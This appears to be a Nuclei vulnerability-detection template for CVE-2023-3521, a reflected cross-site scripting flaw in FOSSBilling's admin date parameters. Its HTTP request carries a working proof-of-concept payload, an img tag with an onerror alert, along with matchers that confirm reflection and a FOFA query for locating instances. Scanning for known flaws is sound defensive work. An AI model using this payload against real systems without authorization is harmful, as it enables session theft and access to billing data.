id: CVE-2023-3521

info:
  name: FOSSBilling < 0.5.3 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through date_to and date_from parameters to steal FOSSBilling administrator session cookies and access sensitive billing and customer data.
  remediation: |
    Update FOSSBilling to version 0.5.4 or later that properly sanitizes date parameters in the admin interface and encodes output to prevent reflected XSS attacks.
  reference:
    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3521
    cwe-id: CWE-79
    epss-score: 0.18964
    epss-percentile: 0.95411
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="FOSSBilling"
    product: fossbilling
  tags: cve2023,cve,fossbilling,xss,vuln

http:
  - raw:
      - |
        GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(3)>"
          - "FOSSBilling"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402206882451e93164c5abd58411a9ddee06bbd7c0b63ab96525d40f11493f48c161a02201cd76b8d458c3fb8b78738999e40f28f98f93cca378e14ed34f6569366792582:922c64590222798bb761d5b6d8e72950